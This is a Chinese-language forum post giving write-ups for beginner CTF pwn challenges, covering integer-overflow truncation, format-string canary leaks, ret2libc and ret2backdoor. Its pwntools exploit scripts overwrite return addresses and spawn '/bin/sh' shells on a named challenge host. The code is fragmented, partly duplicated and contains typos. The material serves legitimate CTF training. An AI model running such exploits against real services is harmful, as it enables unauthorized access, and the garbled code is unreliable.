-
-
[原创]【攻防世界】入门题题解
-
发表于: 2022-4-27 23:41 7246
-
例如当一个8位无符号数接收一个函数返回32位无符号数时,只会保留后8位
可以看到首先选1,然后输入用户名和密码,这两个输入都不存在溢出,密码会被传入一个check函数,这个check函数中定义了一个8位无符号数v3来接受strlen函数返回的32位无符号数,然后v3大于3小于8通过判断将一个dest返回(这一点应该想到覆盖返回地址到后台函数或者获得flag的函数)
canary是一般是通过_readsqword(0x28)随机生成的,可以在ida或者gdb里面查看
除了pie其它都开了
看见先输“2”进入的地方有一个明显的字符串格式化漏洞,然后里面有个canary,很明显需要打印canary的地址。输“1”是很显而易见的栈溢出,但由于开了canary,明显需要用刚刚的canary地址进行绕过
linux如何解压gz和tar文件(附件中有俩文件,第一个是执行文件,第二个是它的库文件)
PIE保护:程序每次调用函数时用的地址都是随机分配的,但是相对位置是不变的
返回地址覆盖:函数地址:32位操作系统下函数地址占4个字节,用get覆盖时,需要在原来栈的大小上加0x4
手动回溯:如果需要利用两次get传递两个不同的payload,就需要手动回到main函数.具体做法是,将函数的返回地址设置位main函数地址:
leve3很寻常,libc啥都开了,也就是混沌状态(PIE)存在,那就需要寻址,通过固定的偏移算出所需调用的函数的地址
就俩函数,write和read,read明显溢出了,可以利用其返回到我们所需要的函数,那必然是system,但是没有system。怎么办呢?关键就在于有read函数和write函数(不妨选取write函数),可以用write函数打印level3文件中write函数在中的got表的地址(第一个payload)。然后在libc中找到system函数和字符串'/bin/sh'分别与libc中write函数的偏移量(每次找具体函数的地址都不一样,但偏移量是固定的)。第二个pyload的作用就是调用system函函数了。
32位操作系统的栈是先传入函数地址再传入参数地址
遇事不决直接gdb
发现前面一大坨看不懂的东西,看了网上题解才发现那是反汇编在处理寄存器,和题目没啥关系。核心就是输一个名字,然后一段字符串。checksec发现没有金丝雀,然后有个明显的gets函数和return函数,左边列表有一个system函数,这还不够明显?直接gets覆盖返回地址return到system函数,然后执行system("/bin/sh")。关键是这个“/bin/sh”怎么传?这是我们发现前面有一个.bss段的name,先传给它然后再覆盖的时候一并传入栈就行了。
c++srand rand为伪随机,当传入的seed相同的时候,产生的随机数相同,但是有个比较坑的点就是linux和windows系统下产生的随机数不相同,所以最好调用库,在程序里面自己跑随机数。
代码很明显,就是读入一个名字,然后输数字,连续10次和一个伪随机数相等即可
用checksec check了一下发现开了金丝雀,但这道题仍然是用溢出覆盖来做,因为要覆盖的地址远远高于金丝雀所在。发现gets函数(老受害者了),然后它和seed隔着ox20的距离,所以先覆盖0x20的内容,并将seed改为我们需要的随机数即可。
首先绕过前面的一切条件判断,然后通过字符串格式化漏洞修改参数使得通过shellcode区判定,最后shellcode获取flag
得知是一个勇者斗恶龙的游戏,然后可以向上走也可以向左走,向上走必死,而向左走按1进入龙巢,进入龙巢需要得到女巫的馈赠(格式化漏洞修改参数),使用女巫的馈赠(shellcode)从而获取flag
只开了NX
ida好像f5不了
FUN_400686是一个后门,那么我们就只需要输入的DAT为0x6e756161即可
只开了NX
看见函数列表有个后门函数,自然想到ret2backdoor
还是只开了NX
相较于上一道题,多了一个给system传参的环节,32位系统的rop一般为这种形式
from
pwn
import
*
r.remote()
address
=
'获取flag函数的地址'
payload
=
a
'b'
*
(
0x14
+
4
)
+
address
##a'b'是强转为字符,ljust函数只支持字符
payload
=
payload.ljust(
260
,a
'b'
)
##整型溢出截断
通过r.recvuntil和r.sendline函数接受和发送最终获取flag
from
pwn
import
*
r.remote()
address
=
'获取flag函数的地址'
payload
=
a
'b'
*
(
0x14
+
4
)
+
address
##a'b'是强转为字符,ljust函数只支持字符
payload
=
payload.ljust(
260
,a
'b'
)
##整型溢出截断
通过r.recvuntil和r.sendline函数接受和发送最终获取flag
from
pwn
import
*
r
=
remote(
"111.200.241.244"
,
63800
)
payload
=
b
'a'
*
(
0x14
+
4
)
+
p32(
0x804868B
)
payload
=
payload.ljust(
260
,b
'a'
)
r.recvuntil(
"Your choice:"
)
r.sendline(
"1"
)
r.recvuntil(
"Please input your username:"
)
r.sendline(
"Nameless"
)
r.recvuntil(
"Please input your passwd:"
)
r.sendline(payload)
r.interactive()
from
pwn
import
*
r
=
remote(
"111.200.241.244"
,
63800
)
payload
=
b
'a'
*
(
0x14
+
4
)
+
p32(
0x804868B
)
payload
=
payload.ljust(
260
,b
'a'
)
r.recvuntil(
"Your choice:"
)
r.sendline(
"1"
)
r.recvuntil(
"Please input your username:"
)
r.sendline(
"Nameless"
)
r.recvuntil(
"Please input your passwd:"
)
r.sendline(payload)
r.interactive()
一般格式为:
%
重定位地址
+
p
/
n:
重定位地址的格式为从原先字符到需要定位的字符的偏差
+
$,如:
printf(buf),buf的地址为
0x90
,需要定位到地址为
0x08
的v2,而且经过尝试,printf出真正的字符的位置偏移量为
6
,则重定位地址为
23
$.
%
p是打印地址
%
n是将重定位处的变量的值改为
"%"
之前的所有字符的个数
一般格式为:
%
重定位地址
+
p
/
n:
重定位地址的格式为从原先字符到需要定位的字符的偏差
+
$,如:
printf(buf),buf的地址为
0x90
,需要定位到地址为
0x08
的v2,而且经过尝试,printf出真正的字符的位置偏移量为
6
,则重定位地址为
23
$.
%
p是打印地址
%
n是将重定位处的变量的值改为
"%"
之前的所有字符的个数
from
pwn
import
*
r
=
remote()
r.recvuntil(
"3. Exit the battle "
)
r.sendline(
"2"
)
r.sendline(
"%23$p"
)
r.recvuntil(
"0x"
)
canary
=
int
(r.recv(
16
),
16
)
adrs
=
0x4008DA
payload
=
"a"
*
0x88
+
p64(canary)
+
'a'
*
8
+
p64(adrs)
r.recvuntil(
"3. Exit the battle "
)
r.sendline(
"1"
)
r.sendline(payload)
r.interactive()
from
pwn
import
*
r
=
remote()
r.recvuntil(
"3. Exit the battle "
)
r.sendline(
"2"
)
r.sendline(
"%23$p"
)
r.recvuntil(
"0x"
)
canary
=
int
(r.recv(
16
),
16
)
adrs
=
0x4008DA
payload
=
"a"
*
0x88
+
p64(canary)
+
'a'
*
8
+
p64(adrs)
r.recvuntil(
"3. Exit the battle "
)
r.sendline(
"1"
)
r.sendline(payload)
r.interactive()
gzip
-
d filename.gz
tar
-
xf fiilename
gzip
-
d filename.gz
tar
-
xf fiilename
elf
=
ELF(
'文件相对于py文件的地址'
)
## 即可用elf来调用文件
plt表:过程链接表,f函数的plt表存的是f函数到got表的地址记作:
elf.plt[
'f'
]
是栈中调用函数所使用的表(函数的起始地址)
got表:全局偏移表,f函数的真正地址,记作:
elf.got[
'f'
]
和elf.symbols[
'f'
]应该是等价的,数据类型为
8
位
16
进制数
elf
=
ELF(
'文件相对于py文件的地址'
)
## 即可用elf来调用文件
plt表:过程链接表,f函数的plt表存的是f函数到got表的地址记作:
elf.plt[
'f'
]
是栈中调用函数所使用的表(函数的起始地址)
got表:全局偏移表,f函数的真正地址,记作:
elf.got[
'f'
]
和elf.symbols[
'f'
]应该是等价的,数据类型为
8
位
16
进制数
elf.symbols[
'main'
]
elf.symbols[
'main'
]
readelf
-
s filename|grep functioname
readelf
-
s filename|grep functioname
strings
-
at x filename|grep 字符串(不加引号)
strings
-
at x filename|grep 字符串(不加引号)
from
pwn
import
*
r.remote(地址
+
端口)
elf
=
ELF(
'./level3'
)
payload
=
0x8c
*
'a'
+
p32(elf.plt[
'write'
])
+
p32(elf.symbols[
'main'
])
+
p32(
1
)
+
p32(elf.got[
'write'
])
+
p32(
10
)
r.recvuntil(
"Input:\n"
)
r.sendline(payload)
adrs
=
u32(r.recv() [:
4
])
##切块,只要前四位,因为32位地址只有前四位
payload
=
0x8c
*
'a'
+
p32(adrs
+
system偏移量)
+
'0000'
+
p32(adrs
+
'字符串'
偏移量)
#### ‘0000’是返回地址
r.recvuntil(
"Input:\n"
)
r.sendline(payload)
r.interactive()
from
pwn
import
*
r.remote(地址
+
端口)
elf
=
ELF(
'./level3'
)
payload
=
0x8c
*
'a'
+
p32(elf.plt[
'write'
])
+
p32(elf.symbols[
'main'
])
+
p32(
1
)
+
p32(elf.got[
'write'
])
+
p32(
10
)
r.recvuntil(
"Input:\n"
)
r.sendline(payload)
adrs
=
u32(r.recv() [:
4
])
##切块,只要前四位,因为32位地址只有前四位
payload
=
0x8c
*
'a'
+
p32(adrs
+
system偏移量)
+
'0000'
+
p32(adrs
+
'字符串'
偏移量)
#### ‘0000’是返回地址
r.recvuntil(
"Input:\n"
)
r.sendline(payload)
r.interactive()
from
pwn
import
*
r
=
remote()
payload
=
'a'
*
0x26
+
'bbbb'
+
p32(system_address)
+
p32(name_address)
r,recvuntil()
r.sendline(
"/bin/sh"
)
r.recvuntil()
r.sendline(payload)
r.interactive()
from
pwn
import
*
r
=
remote()
payload
=
'a'
*
0x26
+
'bbbb'
+
p32(system_address)
+
p32(name_address)
赞赏
- 西湖论剑2024 IOT赛后复盘及mqtt rce详解 14710
- 对某嵌入式设备声波配网的研究 12069
- DAS10月月赛PWN出题心路&&CVE-2023-40930的介绍 11474
- [原创]关于Nokelock蓝牙锁破解分析 22124
- [原创]基于树莓派的蓝牙调试环境搭建 24613